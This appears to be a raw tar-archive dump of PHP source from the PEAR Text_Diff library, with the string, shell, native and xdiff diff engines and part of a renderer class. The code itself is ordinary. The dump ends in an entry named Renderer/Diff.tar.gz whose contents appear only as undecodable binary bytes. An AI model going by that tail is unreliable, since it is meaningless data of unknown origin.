                    /* How many lines to keep as context from the copy
                     * block. */
                    $keep = $i == count($diffs) - 1 ? $ntrail : $nlead + $ntrail;
                    if (count($edit->orig) <= $keep) {
                        /* We have less lines in the block than we want for
                         * context => keep the whole block. */
                        $block[] = $edit;
                    } else {
                        if ($ntrail) {
                            /* Create a new block with as many lines as we need
                             * for the trailing context. */
                            $context = array_slice($edit->orig, 0, $ntrail);
                            $block[] = new Text_Diff_Op_copy($context);
                        }
                        /* @todo */
                        $output .= $this->_block($x0, $ntrail + $xi - $x0,
                                                 $y0, $ntrail + $yi - $y0,
                                                 $block);
                        $block = false;
                    }
                }
                /* Keep the copy block as the context for the next block. */
                $context = $edit->orig;
            } else {
                /* Don't we have any diff blocks yet? */
                if (!is_array($block)) {
                    /* Extract context lines from the preceding copy block. */
                    $context = array_slice($context, count($context) - $nlead);
                    $x0 = $xi - count($context);
                    $y0 = $yi - count($context);
                    $block = array();
                    if ($context) {
                        $block[] = new Text_Diff_Op_copy($context);
                    }
                }
                $block[] = $edit;
            }

            if ($edit->orig) {
                $xi += count($edit->orig);
            }
            if ($edit->final) {
                $yi += count($edit->final);
            }
        }

        if (is_array($block)) {
            $output .= $this->_block($x0, $xi - $x0,
                                     $y0, $yi - $y0,
                                     $block);
        }

        return $output . $this->_endDiff();
    }

    function _block($xbeg, $xlen, $ybeg, $ylen, &$edits)
    {
        $output = $this->_startBlock($this->_blockHeader($xbeg, $xlen, $ybeg, $ylen));

        foreach ($edits as $edit) {
            switch (strtolower(get_class($edit))) {
            case 'text_diff_op_copy':
                $output .= $this->_context($edit->orig);
                break;

            case 'text_diff_op_add':
                $output .= $this->_added($edit->final);
                break;

            case 'text_diff_op_delete':
                $output .= $this->_deleted($edit->orig);
                break;

            case 'text_diff_op_change':
                $output .= $this->_changed($edit->orig, $edit->final);
                break;
            }
        }

        return $output . $this->_endBlock();
    }

    function _startDiff()
    {
        return '';
    }

    function _endDiff()
    {
        return '';
    }

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        if ($xlen > 1) {
            $xbeg .= ',' . ($xbeg + $xlen - 1);
        }
        if ($ylen > 1) {
            $ybeg .= ',' . ($ybeg + $ylen - 1);
        }

        // this matches the GNU Diff behaviour
        if ($xlen && !$ylen) {
            $ybeg--;
        } elseif (!$xlen) {
            $xbeg--;
        }

        return $xbeg . ($xlen ? ($ylen ? 'c' : 'd') : 'a') . $ybeg;
    }

    function _startBlock($header)
    {
        return $header . "\n";
    }

    function _endBlock()
    {
        return '';
    }

    function _lines($lines, $prefix = ' ')
    {
        return $prefix . implode("\n$prefix", $lines) . "\n";
    }

    function _context($lines)
    {
        return $this->_lines($lines, '  ');
    }

    function _added($lines)
    {
        return $this->_lines($lines, '> ');
    }

    function _deleted($lines)
    {
        return $this->_lines($lines, '< ');
    }

    function _changed($orig, $final)
    {
        return $this->_deleted($orig) . "---\n" . $this->_added($final);
    }

}
                                                                                                                                                                                                                                                                                                                                                                          Engine/string.php                                                                                   0000644                 00000020233 15217306007 0007771 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Parses unified or context diffs output from eg. the diff utility.
 *
 * Example:
 * <code>
 * $patch = file_get_contents('example.patch');
 * $diff = new Text_Diff('string', array($patch));
 * $renderer = new Text_Diff_Renderer_inline();
 * echo $renderer->render($diff);
 * </code>
 *
 * Copyright 2005 Örjan Persson <o@42mm.org>
 * Copyright 2005-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Örjan Persson <o@42mm.org>
 * @package Text_Diff
 * @since   0.2.0
 */
class Text_Diff_Engine_string {

    /**
     * Parses a unified or context diff.
     *
     * First param contains the whole diff and the second can be used to force
     * a specific diff type. If the second parameter is 'autodetect', the
     * diff will be examined to find out which type of diff this is.
     *
     * @param string $diff  The diff content.
     * @param string $mode  The diff mode of the content in $diff. One of
     *                      'context', 'unified', or 'autodetect'.
     *
     * @return array  List of all diff operations.
     */
    function diff($diff, $mode = 'autodetect')
    {
        // Detect line breaks.
        $lnbr = "\n";
        if (strpos($diff, "\r\n") !== false) {
            $lnbr = "\r\n";
        } elseif (strpos($diff, "\r") !== false) {
            $lnbr = "\r";
        }

        // Make sure we have a line break at the EOF.
        if (substr($diff, -strlen($lnbr)) != $lnbr) {
            $diff .= $lnbr;
        }

        if ($mode != 'autodetect' && $mode != 'context' && $mode != 'unified') {
            return PEAR::raiseError('Type of diff is unsupported');
        }

        if ($mode == 'autodetect') {
            $context = strpos($diff, '***');
            $unified = strpos($diff, '---');
            if ($context === $unified) {
                return PEAR::raiseError('Type of diff could not be detected');
            } elseif ($context === false || $unified === false) {
                $mode = $context !== false ? 'context' : 'unified';
            } else {
                $mode = $context < $unified ? 'context' : 'unified';
            }
        }

        // Split by new line and remove the diff header, if there is one.
        $diff = explode($lnbr, $diff);
        if (($mode == 'context' && strpos($diff[0], '***') === 0) ||
            ($mode == 'unified' && strpos($diff[0], '---') === 0)) {
            array_shift($diff);
            array_shift($diff);
        }

        if ($mode == 'context') {
            return $this->parseContextDiff($diff);
        } else {
            return $this->parseUnifiedDiff($diff);
        }
    }

    /**
     * Parses an array containing the unified diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseUnifiedDiff($diff)
    {
        $edits = array();
        $end = count($diff) - 1;
        for ($i = 0; $i < $end;) {
            $diff1 = array();
            switch (substr($diff[$i], 0, 1)) {
            case ' ':
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == ' ');
                $edits[] = new Text_Diff_Op_copy($diff1);
                break;

            case '+':
                // get all new lines
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '+');
                $edits[] = new Text_Diff_Op_add($diff1);
                break;

            case '-':
                // get changed or removed lines
                $diff2 = array();
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '-');

                while ($i < $end && substr($diff[$i], 0, 1) == '+') {
                    $diff2[] = substr($diff[$i++], 1);
                }
                if (count($diff2) == 0) {
                    $edits[] = new Text_Diff_Op_delete($diff1);
                } else {
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                }
                break;

            default:
                $i++;
                break;
            }
        }

        return $edits;
    }

    /**
     * Parses an array containing the context diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseContextDiff(&$diff)
    {
        $edits = array();
        $i = $max_i = $j = $max_j = 0;
        $end = count($diff) - 1;
        while ($i < $end && $j < $end) {
            while ($i >= $max_i && $j >= $max_j) {
                // Find the boundaries of the diff output of the two files
                for ($i = $j;
                     $i < $end && substr($diff[$i], 0, 3) == '***';
                     $i++);
                for ($max_i = $i;
                     $max_i < $end && substr($diff[$max_i], 0, 3) != '---';
                     $max_i++);
                for ($j = $max_i;
                     $j < $end && substr($diff[$j], 0, 3) == '---';
                     $j++);
                for ($max_j = $j;
                     $max_j < $end && substr($diff[$max_j], 0, 3) != '***';
                     $max_j++);
            }

            // find what hasn't been changed
            $array = array();
            while ($i < $max_i &&
                   $j < $max_j &&
                   strcmp($diff[$i], $diff[$j]) == 0) {
                $array[] = substr($diff[$i], 2);
                $i++;
                $j++;
            }

            while ($i < $max_i && ($max_j-$j) <= 1) {
                if ($diff[$i] != '' && substr($diff[$i], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$i++], 2);
            }

            while ($j < $max_j && ($max_i-$i) <= 1) {
                if ($diff[$j] != '' && substr($diff[$j], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$j++], 2);
            }
            if (count($array) > 0) {
                $edits[] = new Text_Diff_Op_copy($array);
            }

            if ($i < $max_i) {
                $diff1 = array();
                switch (substr($diff[$i], 0, 1)) {
                case '!':
                    $diff2 = array();
                    do {
                        $diff1[] = substr($diff[$i], 2);
                        if ($j < $max_j && substr($diff[$j], 0, 1) == '!') {
                            $diff2[] = substr($diff[$j++], 2);
                        }
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '!');
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                    break;

                case '+':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff1);
                    break;

                case '-':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff1);
                    break;
                }
            }

            if ($j < $max_j) {
                $diff2 = array();
                switch (substr($diff[$j], 0, 1)) {
                case '+':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff2);
                    break;

                case '-':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff2);
                    break;
                }
            }
        }

        return $edits;
    }

}
                                                                                                                                                                                                                                                                                                                                                                     Engine/shell.php                                                                                    0000644                 00000012123 15217306007 0007571 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the Unix `diff` program via shell_exec to compute the
 * differences between the two input arrays.
 *
 * Copyright 2007-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Milian Wolff <mail@milianw.de>
 * @package Text_Diff
 * @since   0.3.0
 */
class Text_Diff_Engine_shell {

    /**
     * Path to the diff executable
     *
     * @var string
     */
    var $_diffCommand = 'diff';

    /**
     * Returns the array of differences.
     *
     * @param array $from_lines lines of text from old file
     * @param array $to_lines   lines of text from new file
     *
     * @return array all changes made (array with Text_Diff_Op_* objects)
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $temp_dir = Text_Diff::_getTempDir();

        // Execute gnu diff or similar to get a standard diff file.
        $from_file = tempnam($temp_dir, 'Text_Diff');
        $to_file = tempnam($temp_dir, 'Text_Diff');
        $fp = fopen($from_file, 'w');
        fwrite($fp, implode("\n", $from_lines));
        fclose($fp);
        $fp = fopen($to_file, 'w');
        fwrite($fp, implode("\n", $to_lines));
        fclose($fp);
        $diff = shell_exec($this->_diffCommand . ' ' . $from_file . ' ' . $to_file);
        unlink($from_file);
        unlink($to_file);

        if (is_null($diff)) {
            // No changes were made
            return array(new Text_Diff_Op_copy($from_lines));
        }

        $from_line_no = 1;
        $to_line_no = 1;
        $edits = array();

        // Get changed lines by parsing something like:
        // 0a1,2
        // 1,2c4,6
        // 1,5d6
        preg_match_all('#^(\d+)(?:,(\d+))?([adc])(\d+)(?:,(\d+))?$#m', $diff,
            $matches, PREG_SET_ORDER);

        foreach ($matches as $match) {
            if (!isset($match[5])) {
                // This paren is not set every time (see regex).
                $match[5] = false;
            }

            if ($match[3] == 'a') {
                $from_line_no--;
            }

            if ($match[3] == 'd') {
                $to_line_no--;
            }

            if ($from_line_no < $match[1] || $to_line_no < $match[4]) {
                // copied lines
                assert($match[1] - $from_line_no == $match[4] - $to_line_no);
                array_push($edits,
                    new Text_Diff_Op_copy(
                        $this->_getLines($from_lines, $from_line_no, $match[1] - 1),
                        $this->_getLines($to_lines, $to_line_no, $match[4] - 1)));
            }

            switch ($match[3]) {
            case 'd':
                // deleted lines
                array_push($edits,
                    new Text_Diff_Op_delete(
                        $this->_getLines($from_lines, $from_line_no, $match[2])));
                $to_line_no++;
                break;

            case 'c':
                // changed lines
                array_push($edits,
                    new Text_Diff_Op_change(
                        $this->_getLines($from_lines, $from_line_no, $match[2]),
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                break;

            case 'a':
                // added lines
                array_push($edits,
                    new Text_Diff_Op_add(
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                $from_line_no++;
                break;
            }
        }

        if (!empty($from_lines)) {
            // Some lines might still be pending. Add them as copied
            array_push($edits,
                new Text_Diff_Op_copy(
                    $this->_getLines($from_lines, $from_line_no,
                                     $from_line_no + count($from_lines) - 1),
                    $this->_getLines($to_lines, $to_line_no,
                                     $to_line_no + count($to_lines) - 1)));
        }

        return $edits;
    }

    /**
     * Get lines from either the old or new text
     *
     * @access private
     *
     * @param array $text_lines Either $from_lines or $to_lines (passed by reference).
     * @param int   $line_no    Current line number (passed by reference).
     * @param int   $end        Optional end line, when we want to chop more
     *                          than one line.
     *
     * @return array The chopped lines
     */
    function _getLines(&$text_lines, &$line_no, $end = false)
    {
        if (!empty($end)) {
            $lines = array();
            // We can shift even more
            while ($line_no <= $end) {
                array_push($lines, array_shift($text_lines));
                $line_no++;
            }
        } else {
            $lines = array(array_shift($text_lines));
            $line_no++;
        }

        return $lines;
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                             Engine/native.php                                                                                   0000644                 00000037261 15217306007 0007762 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Class used internally by Text_Diff to actually compute the diffs.
 *
 * This class is implemented using native PHP code.
 *
 * The algorithm used here is mostly lifted from the perl module
 * Algorithm::Diff (version 1.06) by Ned Konz, which is available at:
 * https://cpan.metacpan.org/authors/id/N/NE/NEDKONZ/Algorithm-Diff-1.06.zip
 *
 * More ideas are taken from: http://www.ics.uci.edu/~eppstein/161/960229.html
 *
 * Some ideas (and a bit of code) are taken from analyze.c, of GNU
 * diffutils-2.7, which can be found at:
 * ftp://gnudist.gnu.org/pub/gnu/diffutils/diffutils-2.7.tar.gz
 *
 * Some ideas (subdivision by NCHUNKS > 2, and some optimizations) are from
 * Geoffrey T. Dairiki <dairiki@dairiki.org>. The original PHP version of this
 * code was written by him, and is used/adapted with his permission.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_native {

    public $xchanged;
    public $ychanged;
    public $xv;
    public $yv;
    public $xind;
    public $yind;
    public $seq;
    public $in_seq;
    public $lcs;

    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $n_from = count($from_lines);
        $n_to = count($to_lines);

        $this->xchanged = $this->ychanged = array();
        $this->xv = $this->yv = array();
        $this->xind = $this->yind = array();
        unset($this->seq);
        unset($this->in_seq);
        unset($this->lcs);

        // Skip leading common lines.
        for ($skip = 0; $skip < $n_from && $skip < $n_to; $skip++) {
            if ($from_lines[$skip] !== $to_lines[$skip]) {
                break;
            }
            $this->xchanged[$skip] = $this->ychanged[$skip] = false;
        }

        // Skip trailing common lines.
        $xi = $n_from; $yi = $n_to;
        for ($endskip = 0; --$xi > $skip && --$yi > $skip; $endskip++) {
            if ($from_lines[$xi] !== $to_lines[$yi]) {
                break;
            }
            $this->xchanged[$xi] = $this->ychanged[$yi] = false;
        }

        // Ignore lines which do not exist in both files.
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $xhash[$from_lines[$xi]] = 1;
        }
        for ($yi = $skip; $yi < $n_to - $endskip; $yi++) {
            $line = $to_lines[$yi];
            if (($this->ychanged[$yi] = empty($xhash[$line]))) {
                continue;
            }
            $yhash[$line] = 1;
            $this->yv[] = $line;
            $this->yind[] = $yi;
        }
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $line = $from_lines[$xi];
            if (($this->xchanged[$xi] = empty($yhash[$line]))) {
                continue;
            }
            $this->xv[] = $line;
            $this->xind[] = $xi;
        }

        // Find the LCS.
        $this->_compareseq(0, count($this->xv), 0, count($this->yv));

        // Merge edits when possible.
        $this->_shiftBoundaries($from_lines, $this->xchanged, $this->ychanged);
        $this->_shiftBoundaries($to_lines, $this->ychanged, $this->xchanged);

        // Compute the edit operations.
        $edits = array();
        $xi = $yi = 0;
        while ($xi < $n_from || $yi < $n_to) {
            assert($yi < $n_to || $this->xchanged[$xi]);
            assert($xi < $n_from || $this->ychanged[$yi]);

            // Skip matching "snake".
            $copy = array();
            while ($xi < $n_from && $yi < $n_to
                   && !$this->xchanged[$xi] && !$this->ychanged[$yi]) {
                $copy[] = $from_lines[$xi++];
                ++$yi;
            }
            if ($copy) {
                $edits[] = new Text_Diff_Op_copy($copy);
            }

            // Find deletes & adds.
            $delete = array();
            while ($xi < $n_from && $this->xchanged[$xi]) {
                $delete[] = $from_lines[$xi++];
            }

            $add = array();
            while ($yi < $n_to && $this->ychanged[$yi]) {
                $add[] = $to_lines[$yi++];
            }

            if ($delete && $add) {
                $edits[] = new Text_Diff_Op_change($delete, $add);
            } elseif ($delete) {
                $edits[] = new Text_Diff_Op_delete($delete);
            } elseif ($add) {
                $edits[] = new Text_Diff_Op_add($add);
            }
        }

        return $edits;
    }

    /**
     * Divides the Largest Common Subsequence (LCS) of the sequences (XOFF,
     * XLIM) and (YOFF, YLIM) into NCHUNKS approximately equally sized
     * segments.
     *
     * Returns (LCS, PTS).  LCS is the length of the LCS. PTS is an array of
     * NCHUNKS+1 (X, Y) indexes giving the diving points between sub
     * sequences.  The first sub-sequence is contained in (X0, X1), (Y0, Y1),
     * the second in (X1, X2), (Y1, Y2) and so on.  Note that (X0, Y0) ==
     * (XOFF, YOFF) and (X[NCHUNKS], Y[NCHUNKS]) == (XLIM, YLIM).
     *
     * This function assumes that the first lines of the specified portions of
     * the two files do not match, and likewise that the last lines do not
     * match.  The caller must trim matching lines from the beginning and end
     * of the portions it is going to specify.
     */
    function _diag ($xoff, $xlim, $yoff, $ylim, $nchunks)
    {
        $flip = false;

        if ($xlim - $xoff > $ylim - $yoff) {
            /* Things seems faster (I'm not sure I understand why) when the
             * shortest sequence is in X. */
            $flip = true;
            list ($xoff, $xlim, $yoff, $ylim)
                = array($yoff, $ylim, $xoff, $xlim);
        }

        if ($flip) {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->xv[$i]][] = $i;
            }
        } else {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->yv[$i]][] = $i;
            }
        }

        $this->lcs = 0;
        $this->seq[0]= $yoff - 1;
        $this->in_seq = array();
        $ymids[0] = array();

        $numer = $xlim - $xoff + $nchunks - 1;
        $x = $xoff;
        for ($chunk = 0; $chunk < $nchunks; $chunk++) {
            if ($chunk > 0) {
                for ($i = 0; $i <= $this->lcs; $i++) {
                    $ymids[$i][$chunk - 1] = $this->seq[$i];
                }
            }

            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $chunk) / $nchunks);
            for (; $x < $x1; $x++) {
                $line = $flip ? $this->yv[$x] : $this->xv[$x];
                if (empty($ymatches[$line])) {
                    continue;
                }
                $matches = $ymatches[$line];
                reset($matches);
                while ($y = current($matches)) {
                    if (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                        break;
                    }
                    next($matches);
                }
                while ($y = current($matches)) {
                    if ($y > $this->seq[$k - 1]) {
                        assert($y <= $this->seq[$k]);
                        /* Optimization: this is a common case: next match is
                         * just replacing previous match. */
                        $this->in_seq[$this->seq[$k]] = false;
                        $this->seq[$k] = $y;
                        $this->in_seq[$y] = 1;
                    } elseif (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                    }
                    next($matches);
                }
            }
        }

        $seps[] = $flip ? array($yoff, $xoff) : array($xoff, $yoff);
        $ymid = $ymids[$this->lcs];
        for ($n = 0; $n < $nchunks - 1; $n++) {
            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $n) / $nchunks);
            $y1 = $ymid[$n] + 1;
            $seps[] = $flip ? array($y1, $x1) : array($x1, $y1);
        }
        $seps[] = $flip ? array($ylim, $xlim) : array($xlim, $ylim);

        return array($this->lcs, $seps);
    }

    function _lcsPos($ypos)
    {
        $end = $this->lcs;
        if ($end == 0 || $ypos > $this->seq[$end]) {
            $this->seq[++$this->lcs] = $ypos;
            $this->in_seq[$ypos] = 1;
            return $this->lcs;
        }

        $beg = 1;
        while ($beg < $end) {
            $mid = (int)(($beg + $end) / 2);
            if ($ypos > $this->seq[$mid]) {
                $beg = $mid + 1;
            } else {
                $end = $mid;
            }
        }

        assert($ypos != $this->seq[$end]);

        $this->in_seq[$this->seq[$end]] = false;
        $this->seq[$end] = $ypos;
        $this->in_seq[$ypos] = 1;
        return $end;
    }

    /**
     * Finds LCS of two sequences.
     *
     * The results are recorded in the vectors $this->{x,y}changed[], by
     * storing a 1 in the element for each line that is an insertion or
     * deletion (ie. is not in the LCS).
     *
     * The subsequence of file 0 is (XOFF, XLIM) and likewise for file 1.
     *
     * Note that XLIM, YLIM are exclusive bounds.  All line numbers are
     * origin-0 and discarded lines are not counted.
     */
    function _compareseq ($xoff, $xlim, $yoff, $ylim)
    {
        /* Slide down the bottom initial diagonal. */
        while ($xoff < $xlim && $yoff < $ylim
               && $this->xv[$xoff] == $this->yv[$yoff]) {
            ++$xoff;
            ++$yoff;
        }

        /* Slide up the top initial diagonal. */
        while ($xlim > $xoff && $ylim > $yoff
               && $this->xv[$xlim - 1] == $this->yv[$ylim - 1]) {
            --$xlim;
            --$ylim;
        }

        if ($xoff == $xlim || $yoff == $ylim) {
            $lcs = 0;
        } else {
            /* This is ad hoc but seems to work well.  $nchunks =
             * sqrt(min($xlim - $xoff, $ylim - $yoff) / 2.5); $nchunks =
             * max(2,min(8,(int)$nchunks)); */
            $nchunks = min(7, $xlim - $xoff, $ylim - $yoff) + 1;
            list($lcs, $seps)
                = $this->_diag($xoff, $xlim, $yoff, $ylim, $nchunks);
        }

        if ($lcs == 0) {
            /* X and Y sequences have no common subsequence: mark all
             * changed. */
            while ($yoff < $ylim) {
                $this->ychanged[$this->yind[$yoff++]] = 1;
            }
            while ($xoff < $xlim) {
                $this->xchanged[$this->xind[$xoff++]] = 1;
            }
        } else {
            /* Use the partitions to split this problem into subproblems. */
            reset($seps);
            $pt1 = $seps[0];
            while ($pt2 = next($seps)) {
                $this->_compareseq ($pt1[0], $pt2[0], $pt1[1], $pt2[1]);
                $pt1 = $pt2;
            }
        }
    }

    /**
     * Adjusts inserts/deletes of identical lines to join changes as much as
     * possible.
     *
     * We do something when a run of changed lines include a line at one end
     * and has an excluded, identical line at the other.  We are free to
     * choose which identical line is included.  `compareseq' usually chooses
     * the one at the beginning, but usually it is cleaner to consider the
     * following identical line to be the "change".
     *
     * This is extracted verbatim from analyze.c (GNU diffutils-2.7).
     */
    function _shiftBoundaries($lines, &$changed, $other_changed)
    {
        $i = 0;
        $j = 0;

        assert(count($lines) == count($changed));
        $len = count($lines);
        $other_len = count($other_changed);

        while (1) {
            /* Scan forward to find the beginning of another run of
             * changes. Also keep track of the corresponding point in the
             * other file.
             *
             * Throughout this code, $i and $j are adjusted together so that
             * the first $i elements of $changed and the first $j elements of
             * $other_changed both contain the same number of zeros (unchanged
             * lines).
             *
             * Furthermore, $j is always kept so that $j == $other_len or
             * $other_changed[$j] == false. */
            while ($j < $other_len && $other_changed[$j]) {
                $j++;
            }

            while ($i < $len && ! $changed[$i]) {
                assert($j < $other_len && ! $other_changed[$j]);
                $i++; $j++;
                while ($j < $other_len && $other_changed[$j]) {
                    $j++;
                }
            }

            if ($i == $len) {
                break;
            }

            $start = $i;

            /* Find the end of this run of changes. */
            while (++$i < $len && $changed[$i]) {
                continue;
            }

            do {
                /* Record the length of this run of changes, so that we can
                 * later determine whether the run has grown. */
                $runlength = $i - $start;

                /* Move the changed region back, so long as the previous
                 * unchanged line matches the last changed one.  This merges
                 * with previous changed regions. */
                while ($start > 0 && $lines[$start - 1] == $lines[$i - 1]) {
                    $changed[--$start] = 1;
                    $changed[--$i] = false;
                    while ($start > 0 && $changed[$start - 1]) {
                        $start--;
                    }
                    assert($j > 0);
                    while ($other_changed[--$j]) {
                        continue;
                    }
                    assert($j >= 0 && !$other_changed[$j]);
                }

                /* Set CORRESPONDING to the end of the changed run, at the
                 * last point where it corresponds to a changed run in the
                 * other file. CORRESPONDING == LEN means no such point has
                 * been found. */
                $corresponding = $j < $other_len ? $i : $len;

                /* Move the changed region forward, so long as the first
                 * changed line matches the following unchanged one.  This
                 * merges with following changed regions.  Do this second, so
                 * that if there are no merges, the changed region is moved
                 * forward as far as possible. */
                while ($i < $len && $lines[$start] == $lines[$i]) {
                    $changed[$start++] = false;
                    $changed[$i++] = 1;
                    while ($i < $len && $changed[$i]) {
                        $i++;
                    }

                    assert($j < $other_len && ! $other_changed[$j]);
                    $j++;
                    if ($j < $other_len && $other_changed[$j]) {
                        $corresponding = $i;
                        while ($j < $other_len && $other_changed[$j]) {
                            $j++;
                        }
                    }
                }
            } while ($runlength != $i - $start);

            /* If possible, move the fully-merged run of changes back to a
             * corresponding run in the other file. */
            while ($corresponding < $i) {
                $changed[--$start] = 1;
                $changed[--$i] = 0;
                assert($j > 0);
                while ($other_changed[--$j]) {
                    continue;
                }
                assert($j >= 0 && !$other_changed[$j]);
            }
        }
    }

}
                                                                                                                                                                                                                                                                                                                                               Engine/xdiff.php                                                                                    0000644                 00000004233 15217306007 0007565 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the xdiff PECL package (http://pecl.php.net/package/xdiff)
 * to compute the differences between the two input arrays.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Jon Parise <jon@horde.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_xdiff {

    /**
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        /* Convert the two input arrays into strings for xdiff processing. */
        $from_string = implode("\n", $from_lines);
        $to_string = implode("\n", $to_lines);

        /* Diff the two strings and convert the result to an array. */
        $diff = xdiff_string_diff($from_string, $to_string, count($to_lines));
        $diff = explode("\n", $diff);

        /* Walk through the diff one line at a time.  We build the $edits
         * array of diff operations by reading the first character of the
         * xdiff output (which is in the "unified diff" format).
         *
         * Note that we don't have enough information to detect "changed"
         * lines using this approach, so we can't add Text_Diff_Op_changed
         * instances to the $edits array.  The result is still perfectly
         * valid, albeit a little less descriptive and efficient. */
        $edits = array();
        foreach ($diff as $line) {
            if (!strlen($line)) {
                continue;
            }
            switch ($line[0]) {
            case ' ':
                $edits[] = new Text_Diff_Op_copy(array(substr($line, 1)));
                break;

            case '+':
                $edits[] = new Text_Diff_Op_add(array(substr($line, 1)));
                break;

            case '-':
                $edits[] = new Text_Diff_Op_delete(array(substr($line, 1)));
                break;
            }
        }

        return $edits;
    }

}
                                                                                                                                                                                                                                                                                                                                                                     Renderer/Diff.tar.gz                                                                                0000644                 00006611413 15217306015 0010325 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             	 T8n%}Ⱦ;Q".kØa"R*{ɒ(KViehQ
"wf>oﾯs}sg;	Cbp$zya|hQ .YiUӁKJJF@BFRBNJ\V\\H= U_^(p7ģ.mo0Gm/+6)FhSHgK~FY4%­>59;fyLIwghqacc*9F[oR:CY$Klnފ~αC?S<KP=\InF,I@^/6iGutB&[FT77ֺŐ0}YM?WLqpݗq;]3)iw^jwv7/kl O5j?[p~KvlC	mzy;0)H@xY*-{o氹,2W7Z׻a@
umIaYswwmx7x:yLa|ŗz/v6K.}C뉌3}ajmWt-%2}lËͩb]wGNmT羦"C&I03Ta276upOyɾU?&C&ܵ-SΣɑwti+jNQFv;E"Rt,׸)v)5˽
8@jr>#e_IDMЄgQ	VcgvIJff~,F\֥pw<՜Nj㖒W)+u%neyo)).@zl+6^gPRL:wHI犓f$nF_>~޲I#)l鿡S&:bWe{
֫۹__]H4;X{.w+hR7RvCPl*Ի?86Q5Gd3ƙ\t>#A	E5<foxʌd{x"Ջ'j{\~7BuV7,]C-\	z>r]籷Y^?k>%4ൃROBzR.'8lyFjF+֬%Ur.{:؉[K7m4VwNtuJS}睸{ω62;؜=1&UdıJ0$:cr3+R|܆FF8HASfUʿ*EE鼮&<FN	{=yAy}UIHHMwAnq1qUh=n#?-:jUϵzA3GyÍ뭊d϶;I1nbkݰM}Wx[̕ܓ#stV)7]OwK/Rok1b}fʙ.7w^Ϝ0)T/.}&V5Ua0]f;.&t̏
ur:oQ/9
<N)+DU^Äݑ[v>#fC!ܜ2fJ^$AV
Mn(H*/H{(ё/ڈݟR;Hvlr?jI</EYqU.(A
